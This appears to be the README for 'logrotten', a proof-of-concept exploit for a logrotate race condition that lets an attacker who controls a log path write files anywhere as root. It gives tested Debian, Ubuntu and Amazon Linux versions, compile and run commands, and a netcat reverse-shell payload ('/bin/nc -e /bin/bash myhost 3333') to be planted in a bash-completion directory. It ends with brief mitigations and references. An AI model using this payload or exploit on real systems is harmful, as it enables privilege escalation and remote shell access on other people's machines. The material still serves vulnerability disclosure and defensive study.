• logrotate is prone to a race condition after renaming the logfile.
• If logrotate is executed as root, with option that creates a file ( like create, copy, compress, etc.) and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
• An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/".

• Logrotate has to be executed as root
• The logpath needs to be in control of the attacker
• Any option that creates files is set in the logrotate configuration

• Debian GNU/Linux 11 (bullseye)
• Debian GNU/Linux 9.5 (stretch)
• Amazon Linux 2 AMI (HVM)
• Ubuntu 18.04.1
• logrotate 3.8.6
• logrotate 3.11.0
• logrotate 3.15.0
• logrotate 3.18.0

• gcc -o logrotten logrotten.c

echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

If "create"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile /tmp/log/pwnme.log

If "compress"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

• It was hard to win the race inside a docker container or on a lvm2-volume. This version of logrotten improves the reliability.

• make sure that logpath is owned by root
• use option "su" in logrotate.cfg
• use selinux or apparmor

• Wolfgang Hotwagner

• https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
• https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
• https://github.com/whotwagner/logrotten
• https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
• https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd